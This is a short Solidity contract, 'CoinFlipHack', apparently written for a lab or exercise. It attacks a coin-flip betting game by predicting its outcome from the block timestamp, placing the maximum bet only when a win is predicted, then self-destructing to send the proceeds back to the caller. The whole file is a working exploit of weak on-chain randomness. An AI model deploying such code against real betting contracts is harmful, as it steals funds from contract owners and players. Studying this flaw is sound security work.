pragma solidity ^0.5.0;

interface CoinFlipGameInterface {
    function bet() external payable;
    function maxBet() external view returns(uint256);
}

contract CoinFlipHack {

    constructor(address payable coinFliGame) public payable{
        CoinFlipGameInterface coinFlipIF = CoinFlipGameInterface(coinFliGame);
        if(generateRandomBit()) {
            coinFlipIF.bet.value(coinFlipIF.maxBet())();
        }

            selfdestruct(msg.sender);

    }
    function generateRandomBit() private view returns(bool) {
        // MODIFY ME to randomly return either true or false
        if (now %2 ==0)return true;
        else return false;
    }
}